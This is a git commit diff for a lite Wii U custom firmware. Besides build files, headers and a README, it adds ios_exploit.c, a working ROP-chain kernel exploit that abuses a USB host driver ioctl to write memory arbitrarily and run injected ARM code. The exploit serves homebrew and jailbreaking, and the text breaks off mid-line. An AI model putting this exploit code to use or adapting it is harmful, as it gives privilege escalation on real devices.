commit 5b2af33e8b723b5750ef280c7eb5813a1fc5d076 Author: Maschell Date: Tue Apr 28 15:07:52 2020 +0200 first commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..eb55c03 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.elf +*.rpx +build/ +*.cbp +*.layout +*_syms.h diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..d022cb4 --- /dev/null +++ b/Makefile @@ -0,0 +1,149 @@ +#------------------------------------------------------------------------------- +.SUFFIXES: +#------------------------------------------------------------------------------- + +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=/devkitpro") +endif + +TOPDIR ?= $(CURDIR) + +include $(DEVKITPRO)/wut/share/wut_rules + +#------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +#------------------------------------------------------------------------------- +TARGET := 00_mocha +BUILD := build +SOURCES := source +DATA := data +INCLUDES := include + +#------------------------------------------------------------------------------- +# options for code generation +#------------------------------------------------------------------------------- +CFLAGS := -g -Wall -O2 -ffunction-sections \ + $(MACHDEP) + +CFLAGS += $(INCLUDE) -D__WIIU__ -D__WUT__ + +CXXFLAGS := $(CFLAGS) + +ASFLAGS := -g $(ARCH) +LDFLAGS = -g $(ARCH) $(RPXSPECS) --entry=_start -Wl,-Map,$(notdir $*.map) + +LIBS := -lwut + +#------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level +# containing include and lib +#------------------------------------------------------------------------------- +LIBDIRS := $(PORTLIBS) $(WUT_ROOT) + + +#------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#------------------------------------------------------------------------------- + +export OUTPUT := $(CURDIR)/$(TARGET) +export TOPDIR := $(CURDIR) + +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + +export DEPSDIR := $(CURDIR)/$(BUILD) + +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) +#------------------------------------------------------------------------------- + export LD := $(CC) +#------------------------------------------------------------------------------- +else +#------------------------------------------------------------------------------- + export LD := $(CXX) +#------------------------------------------------------------------------------- +endif +#------------------------------------------------------------------------------- + +export OFILES_BIN := $(addsuffix .o,$(BINFILES)) +export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) +export OFILES := $(OFILES_BIN) $(OFILES_SRC) +export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES))) + +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) + +.PHONY: $(BUILD) clean all + +#------------------------------------------------------------------------------- +$(BUILD): $(CURDIR)/source/ios_kernel/ios_kernel.bin.h + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +$(CURDIR)/source/ios_kernel/ios_kernel.bin.h: $(CURDIR)/source/ios_usb/ios_usb.bin.h $(CURDIR)/source/ios_mcp/ios_mcp.bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/source/ios_kernel -f $(CURDIR)/source/ios_kernel/Makefile + +$(CURDIR)/source/ios_usb/ios_usb.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/source/ios_usb -f $(CURDIR)/source/ios_usb/Makefile + +$(CURDIR)/source/ios_mcp/ios_mcp.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/source/ios_mcp -f $(CURDIR)/source/ios_mcp/Makefile +#------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf + @$(MAKE) --no-print-directory -C $(CURDIR)/source/ios_kernel -f $(CURDIR)/source/ios_kernel/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/source/ios_usb -f $(CURDIR)/source/ios_usb/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/source/ios_mcp -f $(CURDIR)/source/ios_mcp/Makefile clean + +#------------------------------------------------------------------------------- +else +.PHONY: all + +DEPENDS := $(OFILES:.o=.d) + +#------------------------------------------------------------------------------- +# main targets +#------------------------------------------------------------------------------- +all : $(OUTPUT).rpx + +$(OUTPUT).rpx : $(OUTPUT).elf +$(OUTPUT).elf : $(OFILES) + +$(OFILES_SRC) : $(HFILES_BIN) + +#------------------------------------------------------------------------------- +# you need a rule like this for each extension you use as binary data +#------------------------------------------------------------------------------- +%.bin.o %_bin.h : %.bin +#------------------------------------------------------------------------------- + @echo $(notdir $<) + @$(bin2o) + +#--------------------------------------------------------------------------------- +%.o: %.s + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +-include $(DEPENDS) + +#------------------------------------------------------------------------------- +endif +#------------------------------------------------------------------------------- diff --git a/README.md b/README.md new file mode 100644 index 0000000..636adfd --- /dev/null +++ b/README.md @@ -0,0 +1,23 @@ +# Mocha lite - a simple custom firmware +This a lite version of the [original mocha](https://github.com/dimok789/mocha) to be used with the [SetupPayload](https://github.com/wiiu-env/SetupPayload). + +## Usage +Place the `00_mocha.rpx` in the `sd:/wiiu/modules/setup` folder and run the [SetupPayload](https://github.com/wiiu-env/SetupPayload). + + +## Patches +- You can also place a RPX as `men.rpx` in the `sd:/wiiu` folder which will replace the Wii U Menu. +- RPX redirection +- overall sd access +- wupserver and own IPC which can be used with [libiosuhax](https://github.com/wiiu-env/libiosuhax). +- Opening the "Health and Safety" application will try to run the [Homebrew Launcher](https://github.com/dimok789/homebrew_launcher/) from `sd:/wiiu/apps/homebrew_launcher/homebrew_launcher.rpx` from sd card. + +## Building + +For building you just need [wut](https://github.com/devkitPro/wut/) installed, then use the `make` command. + +## Credits +dimok +Maschell +orboditilt +QuarkTheAwesome \ No newline at end of file diff --git a/source/common/ipc_defs.h b/source/common/ipc_defs.h new file mode 100644 index 0000000..d4df8e2 --- /dev/null +++ b/source/common/ipc_defs.h @@ -0,0 +1,192 @@ +#pragma once + +typedef struct __attribute__((packed)) { + uint64_t title_id; + uint64_t boss_id; + uint64_t os_version; + uint64_t app_size; + uint64_t common_save_size; + uint64_t account_save_size; + uint64_t common_boss_size; + uint64_t account_boss_size; + uint64_t join_game_mode_mask; + uint32_t version; + char product_code[32]; + char content_platform[32]; + char company_code[8]; + char mastering_date[32]; + uint32_t logo_type; + uint32_t app_launch_type; + uint32_t invisible_flag; + uint32_t no_managed_flag; + uint32_t no_event_log; + uint32_t no_icon_database; + uint32_t launching_flag; + uint32_t install_flag; + uint32_t closing_msg; + uint32_t title_version; + uint32_t group_id; + uint32_t save_no_rollback; + uint32_t bg_daemon_enable; + uint32_t join_game_id; + uint32_t olv_accesskey; + uint32_t wood_tin; + uint32_t e_manual; + uint32_t e_manual_version; + uint32_t region; + uint32_t pc_cero; + uint32_t pc_esrb; + uint32_t pc_bbfc; + uint32_t pc_usk; + uint32_t pc_pegi_gen; + uint32_t pc_pegi_fin; + uint32_t pc_pegi_prt; + uint32_t pc_pegi_bbfc; + uint32_t pc_cob; + uint32_t pc_grb; + uint32_t pc_cgsrr; + uint32_t pc_oflc; + uint32_t pc_reserved0; + uint32_t pc_reserved1; + uint32_t pc_reserved2; + uint32_t pc_reserved3; + uint32_t ext_dev_nunchaku; + uint32_t ext_dev_classic; + uint32_t ext_dev_urcc; + uint32_t ext_dev_board; + uint32_t ext_dev_usb_keyboard; + uint32_t ext_dev_etc; + char ext_dev_etc_name[512]; + uint32_t eula_version; + uint32_t drc_use; + uint32_t network_use; + uint32_t online_account_use; + uint32_t direct_boot; + uint32_t reserved_flag0; + uint32_t reserved_flag1; + uint32_t reserved_flag2; + uint32_t reserved_flag3; + uint32_t reserved_flag4; + uint32_t reserved_flag5; + uint32_t reserved_flag6; + uint32_t reserved_flag7; + char longname_ja[512]; + char longname_en[512]; + char longname_fr[512]; + char longname_de[512]; + char longname_it[512]; + char longname_es[512]; + char longname_zhs[512]; + char longname_ko[512]; + char longname_nl[512]; + char longname_pt[512]; + char longname_ru[512]; + char longname_zht[512]; + char shortname_ja[256]; + char shortname_en[256]; + char shortname_fr[256]; + char shortname_de[256]; + char shortname_it[256]; + char shortname_es[256]; + char shortname_zhs[256]; + char shortname_ko[256]; + char shortname_nl[256]; + char shortname_pt[256]; + char shortname_ru[256]; + char shortname_zht[256]; + char publisher_ja[256]; + char publisher_en[256]; + char publisher_fr[256]; + char publisher_de[256]; + char publisher_it[256]; + char publisher_es[256]; + char publisher_zhs[256]; + char publisher_ko[256]; + char publisher_nl[256]; + char publisher_pt[256]; + char publisher_ru[256]; + char publisher_zht[256]; + uint32_t add_on_unique_id[32]; +} ACPMetaXml; + +struct Permission { + uint32_t group; + uint64_t mask; +}; + +typedef struct { + uint32_t version; + char unkn1[8]; + uint64_t titleId; + uint32_t groupId; + uint32_t cmdFlags; + char argstr[4096]; + char* argv[64]; + uint32_t max_size; + uint32_t avail_size; + uint32_t codegen_size; + uint32_t codegen_core; + uint32_t max_codesize; + uint32_t overlay_arena; + uint32_t num_workarea_heap_blocks; + uint32_t num_codearea_heap_blocks; + struct Permission permissions[19]; + uint32_t default_stack0_size; + uint32_t default_stack1_size; + uint32_t default_stack2_size; + uint32_t default_redzone0_size; + uint32_t default_redzone1_size; + uint32_t default_redzone2_size; + uint32_t exception_stack0_size; + uint32_t exception_stack1_size; + uint32_t exception_stack2_size; + uint32_t sdkVersion; + uint32_t titleVersion; + char unknwn2[0x1270 - 0x124C]; +} MCPPPrepareTitleInfo; + +typedef struct { + uint32_t version; + uint64_t os_version; + uint64_t titleId; + uint32_t titleVersion; + uint32_t sdkVersion; + uint32_t groupid; + uint32_t app_type; + uint32_t common_id; +} MCPAppXml; + +typedef enum { + //Load from the process's code directory (process title id)/code/%s + LOAD_FILE_PROCESS_CODE = 0, + //Load from the CafeOS directory (00050010-1000400A)/code/%s + LOAD_FILE_CAFE_OS = 1, + //Load from a system data title's content directory (0005001B-x)/content/%s + LOAD_FILE_SYS_DATA_CONTENT = 2, + //Load from a system data title's code directory (0005001B-x)/content/%s + LOAD_FILE_SYS_DATA_CODE = 3, + + LOAD_FILE_FORCE_SIZE = 0xFFFFFFFF, +} MCPFileType; + +typedef struct { + unsigned char unk[0x10]; + + unsigned int pos; + MCPFileType type; + unsigned int cafe_pid; + + unsigned char unk2[0xC]; + + char name[0x40]; + + unsigned char unk3[0x12D8 - 0x68]; +} MCPLoadFileRequest; + +#define IPC_CUSTOM_LOG_STRING 0xFF +#define IPC_CUSTOM_META_XML_SWAP_REQUIRED 0xFE +#define IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED 0xFD +#define IPC_CUSTOM_LOAD_CUSTOM_RPX 0xFC +#define IPC_CUSTOM_META_XML_READ 0xFB + +#define LOAD_FILE_TARGET_SD_CARD 0 diff --git a/source/common/kernel_commands.h b/source/common/kernel_commands.h new file mode 100644 index 0000000..1f27b53 --- /dev/null +++ b/source/common/kernel_commands.h @@ -0,0 +1,32 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef KERNEL_COMMANDS_H_ +#define KERNEL_COMMANDS_H_ + +#define KERNEL_READ32 1 +#define KERNEL_WRITE32 2 +#define KERNEL_MEMCPY 3 +#define KERNEL_GET_CFW_CONFIG 4 + +#endif diff --git a/source/crt0.s b/source/crt0.s new file mode 100644 index 0000000..595a028 --- /dev/null +++ b/source/crt0.s @@ -0,0 +1,29 @@ +.extern main +.extern exit +.extern __init_wut +.extern __fini_wut + +.global _start +_start: + stwu 1, -0x28(1) + mflr 0 + stw 0, 0x2C(1) + stw 31, 0x24(1) + or 31, 1, 1 + stw 3, 0x18(31) + stw 4, 0x1C(31) + bl __init_wut + lwz 4, 0x1C(31) + lwz 3, 0x18(31) + bl main + or 9, 3, 3 + stw 9, 0x8(31) + bl __fini_wut + lwz 9, 0x8(31) + or 3, 9, 9 + addi 11, 31, 0x28 + lwz 0, 0x4(11) + mtlr 0 + lwz 31, -0x4(11) + or 1, 11, 11 + blr \ No newline at end of file diff --git a/source/ios_exploit.c b/source/ios_exploit.c new file mode 100644 index 0000000..e1e1b5d --- /dev/null +++ b/source/ios_exploit.c @@ -0,0 +1,370 @@ +#include +#include +#include +#include +#include +#include "ios_exploit.h" + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08135000 +#define REPLACE_SYSCALL 0x081298BC + +extern const uint8_t launch_image_tga[]; +extern const uint32_t launch_image_tga_size; + +static void uhs_exploit_init(int uhs_handle); +static int uhs_write32(int uhs_handle, int arm_addr, int val); + +//!------Variables used in exploit------ +static int *pretend_root_hub = (int*)0xF5003ABC; +static int *ayylmao = (int*)0xF4500000; +//!------------------------------------- + +typedef struct __attribute__((packed)) { + uint32_t size; + uint8_t data[0]; +} payload_info_t; + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "ios_kernel/ios_kernel.bin.h" +#include "ios_usb/ios_usb.bin.h" +#include "ios_mcp/ios_mcp.bin.h" + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(int dev_uhs_0_handle) { + ayylmao[5] = 1; + ayylmao[8] = 0x500000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); + + payload_info_t *payloads = (payload_info_t*)0xF4148000; + payloads->size = sizeof(ios_usb_bin); + memcpy(payloads->data, ios_usb_bin, payloads->size); + + payloads = (payload_info_t*)0xF4160000; + payloads->size = sizeof(ios_mcp_bin); + memcpy(payloads->data, ios_mcp_bin, payloads->size); + + + pretend_root_hub[33] = 0x500000; + pretend_root_hub[78] = 0; + + DCStoreRange(pretend_root_hub + 33, 200); + DCStoreRange((void*)0xF4120000, sizeof(second_chain)); + DCStoreRange((void*)0xF4130000, sizeof(final_chain)); + DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); + DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000); +} + +static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) { + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} + +int ExecuteIOSExploit() { + int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); + if(iosuhaxFd >= 0) { + int dummy = 0; + + IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy)); + + //! do not run patches again as that will most likely crash + //! because the wupserver and the iosuhax dev node are still running + //! just relaunch IOS with new configuration + IOS_Close(iosuhaxFd); + } + + //! execute exploit + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); + if(dev_uhs_0_handle < 0) { + return dev_uhs_0_handle; + } + + uhs_exploit_init(dev_uhs_0_handle); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, 